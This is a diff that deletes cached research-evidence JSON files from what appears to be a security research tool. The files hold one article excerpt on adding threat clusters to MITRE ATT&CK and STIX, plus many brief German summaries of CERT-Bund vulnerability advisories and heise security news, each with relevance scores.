communication and understanding of threats across different teams and organizations.\n\nEnables representation and analysis of attack progressions: Allows for modeling and analysis of how attacks unfold, aiding in the development of defensive strategies.\n\nFacilitates better communication between technical and non-technical stakeholders: Helps in bridging the gap between detailed technical data and high-level risk management.\n\nEnhances strategic threat analysis and risk management capabilities: Provides a more comprehensive and structured approach to representing, analyzing, and communicating about cyber threats.\n\nEnhancing MITRE ATT\u0026CK with the 10 Top Level Cyber Threat Clusters\n\nCurrent State of MITRE ATT\u0026CK\n\nMITRE ATT\u0026CK excels at the operational security level, providing detailed tactics and techniques for various attack stages across different IT system types. However, it lacks a high-level strategic framework for threat categorization and overemphasizes post-compromise techniques.\n\nProposed Enhancements\n\nStandardized Threat Categorization: Introduce the 10 Top Level Cyber Threat Clusters as a new MITRE ATT\u0026CK object, providing a consistent, high-level categorization system.\n\nAttack Path Representation: Implement a new MITRE ATT\u0026CK object type to represent attack paths as sequences of threat clusters (e.g., #9 -\u003e #3 -\u003e #7).\n\nStrategic Overview: Enable a more strategic view of threats and attack progressions, bridging the gap between detailed MITRE ATT\u0026CK data and high-level risk management.\n\nImplementation Approach\n\nCreate a New MITRE ATT\u0026CK Object:\n\nThreat Cluster Object Structure:\n\n\"type\": \"threat-cluster\",\n\"id\": \"TC0001\",\n\"name\": \"Abuse of Functions\",\n\"definition\": \"Abuse of Functions involves manipulating the intended functionality of software or systems for malicious purposes.\",\n\"generic_vulnerability\": \"The scope of software and functions\",\n\"asset_type\": \"Software\",\n\"attacker_vector\": \"Abuse of functionality, not a coding issue\"\n\nDevelop a New MITRE ATT\u0026CK Relationship Object:\n\nSequence Metadata Structure:\n\n\"sequence_id\": \"SEQ001\",\n\"initial_cluster\": \"TC0009\",\n\"subsequent_clusters\": [\"TC0003\", \"TC0007\"],\n\"common_pattern_name\": \"Phishing to Malware Chain\",\n\"observed_frequency\": \"high\"\n\nExtend Existing MITRE ATT\u0026CK Objects:\n\nTechnique Object Structure:\n\n\"primary_threat_cluster\": \"TC0001\",\n\"secondary_threat_clusters\": [\"TC0004\", \"TC0007\"],\n\"generic_vulnerability_exploitation\": \"Description of how this technique exploits the generic vulnerability\",\n\"attack_sequence_position\": {\n\"can_be_initial\": true,\n\"can_be_subsequent\": false\n\nBenefits of Integration\n\nProvides a standardized framework for high-level threat categorization: Enables consistent communication and understanding of threats across different teams and organizations.\n\nEnables representation and analysis of attack progressions: Allows for modeling and analysis of how attacks unfold, aiding in the development of defensive strategies.\n\nFacilitates better communication between technical and non-technical stakeholders: Helps in bridging the gap between detailed technical data and high-level risk management.\n\nEnhances strategic threat analysis and risk management capabilities: Provides a more comprehensive and structured approach to representing, analyzing, and communicating about cyber threats.\n\nConclusion\n\nIntegrating the 10 Top Level Cyber Threat Clusters into the STIX and MITRE ATT\u0026CK frameworks offers significant benefits, including standardized threat categorization, attack path representation, and enhanced strategic threat analysis. By adopting this approach, organizations can better bridge the gap between technical threat data and high-level risk management, leading to more effective cybersecurity strategies and improved communication across all levels of the organization. This integration maintains the granularity and detail of STIX and MITRE ATT\u0026CK while adding an essential layer of high-level structure, ultimately contributing to a more resilient cyber defense posture\n\nPROJECT REFERENCE: Cyber Threat Clusters\n\nEXTERNAL REFERENCE: MITRE ATT\u0026CK - MITRE ATT\u0026CK: Design and Philosophy - Originally Published July 2018 - Revised March 2020\n\nNo additional updates are scheduled at this time.", - "content_type": "text/html", - "query": "Welche Schnittstellen und Konformitätsanforderungen bestehen zwischen STIX 2.x und MITRE ATT\u0026CK für die Integration von Threat Intelligence in SIEM-Systeme?", - "language": "de-DE", - "round": 2, - "fetched": true, - "relevant": true, - "relevance": 0.62, - "source_quality": "community", - "source_quality_score": 0.6639999999999999, - "actionable": true, - "covered_gap_ids": [ - "AR-7feb1db4-3" - ], - "assessment_reason": "Die Quelle beschreibt die Integration von Cyber Threat Clusters mit STIX und MITRE ATT\u0026CK, was direkt auf die Frage nach Schnittstellen und Konformitätsanforderungen zwischen STIX 2.x und MITRE ATT\u0026CK für SIEM-Systeme Bezug nimmt. Sie liefert jedoch keine konkreten Schnittstellen oder Konformitätsanforderungen, sondern vielmehr eine allgemeine Integrationsstrategie und eine neue Kategorisierung. Die relevanten Aspekte sind vorhanden, aber die Abdeckung der konkreten Frage ist unvollständig." - } -} diff --git a/data/research-evidence/a839a9ff43e45ba4e6aee8cd.json b/data/research-evidence/a839a9ff43e45ba4e6aee8cd.json deleted file mode 100644 index dde0767..0000000 --- a/data/research-evidence/a839a9ff43e45ba4e6aee8cd.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:30:42.1899461Z", - "content_sha256": "abd372d844e10f3de8d1a568f5ed79c7f6519545ced53c212a1a97ee3862da08", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Schwachstelle ermöglicht Privilegieneskalation", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1938", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um Root-Rechte zu erlangen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um Root-Rechte zu erlangen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7141829359170586, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/a9dd21916039a31c6412a6a5.json b/data/research-evidence/a9dd21916039a31c6412a6a5.json deleted file mode 100644 index 42ab798..0000000 --- a/data/research-evidence/a9dd21916039a31c6412a6a5.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:44:12.4281181Z", - "content_sha256": "a36117804f56d3528dd1738a4c67c846686a0b76f6f5b32313e38656e2ded4a2", - "result": { - "title": "[UPDATE] [kritisch] GNU libc: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1190", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in GNU libc ausnutzen, um Dateien zu manipulieren, einen Denial-of-Service-Zustand zu verursachen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in GNU libc ausnutzen, um Dateien zu manipulieren, einen Denial-of-Service-Zustand zu verursachen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6607457355596056, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/abd107a29e35a6b3ec23fa09.json b/data/research-evidence/abd107a29e35a6b3ec23fa09.json deleted file mode 100644 index b274c38..0000000 --- a/data/research-evidence/abd107a29e35a6b3ec23fa09.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:54:43.3757736Z", - "content_sha256": "70a8ebc1c1025f08a1698ab6bf8cd53e1bdb6ab5168e0a32e744f778ca146a4f", - "result": { - "title": "[UPDATE] [hoch] Apple macOS (Tahoe, Sonoma und Sequoia): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2543", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Apple macOS Tahoe, Sonoma und Sequoia ausnutzen, um seine Privilegien zu erhöhen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, und um Sicherheitsvorkehrungen zu umgehen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Apple macOS Tahoe, Sonoma und Sequoia ausnutzen, um seine Privilegien zu erhöhen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, und um Sicherheitsvorkehrungen zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6246998727719664, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/aca1327366f588e1eb6a3ff3.json b/data/research-evidence/aca1327366f588e1eb6a3ff3.json deleted file mode 100644 index a30dc2f..0000000 --- a/data/research-evidence/aca1327366f588e1eb6a3ff3.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:39:06.2970048Z", - "content_sha256": "ca2aa369aaec90a890c051e7eb77e8b38531d67827aa83e35b72d6f4b52ec760", - "result": { - "title": "[UPDATE] [hoch] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0345", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um beliebigen Programmcode auszuführen oder Sicherheitsmaßnahmen zu umgehen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um beliebigen Programmcode auszuführen oder Sicherheitsmaßnahmen zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6840733712905018, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/b1b3d8a31e3c8c5249a18616.json b/data/research-evidence/b1b3d8a31e3c8c5249a18616.json deleted file mode 100644 index 9cc8a1d..0000000 --- a/data/research-evidence/b1b3d8a31e3c8c5249a18616.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:31:12.4951178Z", - "content_sha256": "051397d1ea9237b176b4aa9479dbcc210b9fdc9b870db0f089860dce12e51131", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1279", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, welche zu einem Denial-of-Service-Zustand, einer Rechteausweitung, der Ausführung von Code oder einer Speicherbeschädigung führen könnten.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, welche zu einem Denial-of-Service-Zustand, einer Rechteausweitung, der Ausführung von Code oder einer Speicherbeschädigung führen könnten.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7131938539935063, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/bc38d9250a06b2e37609929a.json b/data/research-evidence/bc38d9250a06b2e37609929a.json deleted file mode 100644 index 9a0bb7a..0000000 --- a/data/research-evidence/bc38d9250a06b2e37609929a.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:41:10.8314242Z", - "content_sha256": "74ef47d59f79f5e92c5d9abef1998c7d874e5b0064c44c77c1239ae301eefb06", - "result": { - "title": "[NEU] [mittel] Red Hat Enterprise Linux AI (libaom): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2693", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux AI ausnutzen, um beliebigen Programmcode auszuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux AI ausnutzen, um beliebigen Programmcode auszuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.669053299276692, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/bd15b929df1d2d75a1335f5c.json b/data/research-evidence/bd15b929df1d2d75a1335f5c.json deleted file mode 100644 index 9a03008..0000000 --- a/data/research-evidence/bd15b929df1d2d75a1335f5c.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:37:06.678553Z", - "content_sha256": "738a98936d70652200bb7759e993a3f8d2d7f33f4901a58abf6d676f60048d2d", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2025-1350", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6936294607911924, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/be661c63a72349e6d5efe23e.json b/data/research-evidence/be661c63a72349e6d5efe23e.json deleted file mode 100644 index 74cd1a8..0000000 --- a/data/research-evidence/be661c63a72349e6d5efe23e.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:36:41.5229583Z", - "content_sha256": "578fe1eb6e7941ce0ae44d4766393812a1d42ec749a35a414bdc7fbe410d5b1e", - "result": { - "title": "[UPDATE] [hoch] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1776", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen, um einen Denial of Service durchzuführen, und um falsche Informationen darzustellen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen, um einen Denial of Service durchzuführen, und um falsche Informationen darzustellen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6950267163913446, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/c496211b460139413dfa3a73.json b/data/research-evidence/c496211b460139413dfa3a73.json deleted file mode 100644 index 8a36fad..0000000 --- a/data/research-evidence/c496211b460139413dfa3a73.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:35:36.4333544Z", - "content_sha256": "8dd910d8748f8791087349f3652f781c5315d268cd27383ff522afcb6deb8f67", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1802", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen oder nicht bekannte Auswirkungen zu erzielen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen oder nicht bekannte Auswirkungen zu erzielen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7021296540933224, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/c64d091dc0e38489068885f5.json b/data/research-evidence/c64d091dc0e38489068885f5.json deleted file mode 100644 index 1d641f8..0000000 --- a/data/research-evidence/c64d091dc0e38489068885f5.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:49:42.2342695Z", - "content_sha256": "3c2f27653f7d3618d672d09dbe05e2314f17e954a3b07aa032d6bbf57be97b19", - "result": { - "title": "[UPDATE] [mittel] Wireshark: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2245", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Wireshark ausnutzen, um einen Denial of Service Angriff durchzuführen oder um vertrauliche Informationen offenzulegen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Wireshark ausnutzen, um einen Denial of Service Angriff durchzuführen oder um vertrauliche Informationen offenzulegen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6456609745850426, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/c9192a64afc51e63443c2563.json b/data/research-evidence/c9192a64afc51e63443c2563.json deleted file mode 100644 index 8839841..0000000 --- a/data/research-evidence/c9192a64afc51e63443c2563.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:34:11.7432106Z", - "content_sha256": "06d03f4083b30a75d6d6e8796374c6d82d97f0a8c263b8d0a932b60583f64cc5", - "result": { - "title": "[UPDATE] [hoch] Google Cloud Platform (GKE containerd): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2009", - "snippet": "Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in Google Cloud Platform ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content": "Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in Google Cloud Platform ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7048802679913766, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/c99044f9e01b08f6d1b9dbc4.json b/data/research-evidence/c99044f9e01b08f6d1b9dbc4.json deleted file mode 100644 index 640284e..0000000 --- a/data/research-evidence/c99044f9e01b08f6d1b9dbc4.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:46:36.5221329Z", - "content_sha256": "50daeb62831c5501c0e0d1f0ca06e0a4ae341612eee8ca8bef0687eaf975336d", - "result": { - "title": "[UPDATE] [mittel] Redis: Schwachstelle ermöglicht Codeausführung", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2599", - "snippet": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Redis ausnutzen, um beliebigen Programmcode auszuführen.", - "content": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Redis ausnutzen, um beliebigen Programmcode auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.652588346264813, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/ca7d96e563e738e4437c8647.json b/data/research-evidence/ca7d96e563e738e4437c8647.json deleted file mode 100644 index 1e4e021..0000000 --- a/data/research-evidence/ca7d96e563e738e4437c8647.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:27:19.7230094Z", - "content_sha256": "2e8a6d8b28a8d543757bac9183e133a37402829390f22d3964a20b538008d2ed", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2175", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen, darunter möglicherweise das Auslösen eines Denial-of-Service-Zustands, die Umgehung von Sicherheitsmaßnahmen oder das Verursachen von Speicherbeschädigungen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen, darunter möglicherweise das Auslösen eines Denial-of-Service-Zustands, die Umgehung von Sicherheitsmaßnahmen oder das Verursachen von Speicherbeschädigungen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7117869840965452, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/cf3035b8acb2480bfbc1bc1b.json b/data/research-evidence/cf3035b8acb2480bfbc1bc1b.json deleted file mode 100644 index 7537a8c..0000000 --- a/data/research-evidence/cf3035b8acb2480bfbc1bc1b.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:28:37.4227631Z", - "content_sha256": "e8b4f7bc1cc3872d686b9f5466ab5f5fec9872ef40c840d0010c98fe6bbe459d", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2527", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, dazu können DoS-Angriffe, die Offenlegung von Informationen, die Beschädigung des Speichers oder die Umgehung von Sicherheitsmaßnahmen gehören.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, dazu können DoS-Angriffe, die Offenlegung von Informationen, die Beschädigung des Speichers oder die Umgehung von Sicherheitsmaßnahmen gehören.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.757806299873635, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/cfacc46e597b2f44dd98d35b.json b/data/research-evidence/cfacc46e597b2f44dd98d35b.json deleted file mode 100644 index 04131ad..0000000 --- a/data/research-evidence/cfacc46e597b2f44dd98d35b.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:29:07.7857281Z", - "content_sha256": "dafd7c63f7e339bb68705ee36a78e4ca6eec9e0e6572c378a1ef5fe425f89ee5", - "result": { - "title": "[UPDATE] [mittel] docker: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1584", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen in docker ausnutzen, um beliebigen Programmcode mit Administratorrechten auszuführen, einen Denial-of-Service-Zustand zu verursachen oder Daten zu manipulieren.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen in docker ausnutzen, um beliebigen Programmcode mit Administratorrechten auszuführen, einen Denial-of-Service-Zustand zu verursachen oder Daten zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7308979167834546, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/d23051966e83e63e8ad30fa8.json b/data/research-evidence/d23051966e83e63e8ad30fa8.json deleted file mode 100644 index 5ee0bf5..0000000 --- a/data/research-evidence/d23051966e83e63e8ad30fa8.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:54:06.2208581Z", - "content_sha256": "00458b1cf72c6791c65cce5f8ba070292557c1db3f4a4df9a9356ddc11a65aa5", - "result": { - "title": "Chrome-Update stopft weitere 370 Sicherheitslecks", - "url": "https://www.heise.de/news/Chrome-Update-stopft-weitere-370-Sicherheitslecks-11384153.html", - "snippet": "Google hat wieder ein massives Sicherheitsupdate für Chrome veröffentlicht. Sieben der geschlossenen Lücken gelten als kritisch.", - "content": "Google hat wieder ein massives Sicherheitsupdate für Chrome veröffentlicht. Sieben der geschlossenen Lücken gelten als kritisch.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6291263216464762, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/d28d16269eb1e04cc58e938d.json b/data/research-evidence/d28d16269eb1e04cc58e938d.json deleted file mode 100644 index e889cfc..0000000 --- a/data/research-evidence/d28d16269eb1e04cc58e938d.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:32:06.7876031Z", - "content_sha256": "0bd00d8c237a0429233d5dbe5f00fabf880096b6cbab11956c0537e0071ecac4", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0421", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux-Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux-Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.708651872077716, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/d2c4542516184cee68aa510b.json b/data/research-evidence/d2c4542516184cee68aa510b.json deleted file mode 100644 index 45f7b16..0000000 --- a/data/research-evidence/d2c4542516184cee68aa510b.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:40:40.8055846Z", - "content_sha256": "adc772372b3f2d9677603e2bbb0eb13cac6a38bface98a5b234d420e26478812", - "result": { - "title": "[NEU] [hoch] Microsoft Power Apps: Schwachstelle ermöglicht Privilegieneskalation", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2688", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Microsoft Power Apps ausnutzen, um seine Privilegien zu erhöhen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Microsoft Power Apps ausnutzen, um seine Privilegien zu erhöhen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.67009146936911, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/d7106db5c25eab69b020fc14.json b/data/research-evidence/d7106db5c25eab69b020fc14.json deleted file mode 100644 index d9b95d1..0000000 --- a/data/research-evidence/d7106db5c25eab69b020fc14.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:49:12.0822054Z", - "content_sha256": "60de5f32006ec6ab9e0eecd59ef3e839adc3fa88a01bebca6b4643a40bac6ded", - "result": { - "title": "[NEU] [mittel] ffmpeg: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2700", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen in ffmpeg ausnutzen, um beliebigen Programmcode auszuführen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen in ffmpeg ausnutzen, um beliebigen Programmcode auszuführen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6470242676905713, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/d960df7da2786b2e00860d5c.json b/data/research-evidence/d960df7da2786b2e00860d5c.json deleted file mode 100644 index 214b074..0000000 --- a/data/research-evidence/d960df7da2786b2e00860d5c.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:51:12.3023797Z", - "content_sha256": "a2ebd24b61f37773073060ec51f465b5e75a91ece73c4e648fe27298b2173848", - "result": { - "title": "Kritische Schadcode-Sicherheitslücke bedroht Adobe Campaign Classic", - "url": "https://www.heise.de/news/Kritische-Schadcode-Sicherheitsluecke-bedroht-Adobe-Campaign-Classic-11394802.html", - "snippet": "Angreifer können Adobe Bridge und Campaign Classic attackieren. Dagegen abgesicherte Versionen stehen zum Download.", - "content": "Angreifer können Adobe Bridge und Campaign Classic attackieren. Dagegen abgesicherte Versionen stehen zum Download.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6388882153385314, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/dad69a5d242e86d289fb9801.json b/data/research-evidence/dad69a5d242e86d289fb9801.json deleted file mode 100644 index 0f8228d..0000000 --- a/data/research-evidence/dad69a5d242e86d289fb9801.json +++ /dev/null @@ -1,18 +0,0 @@ 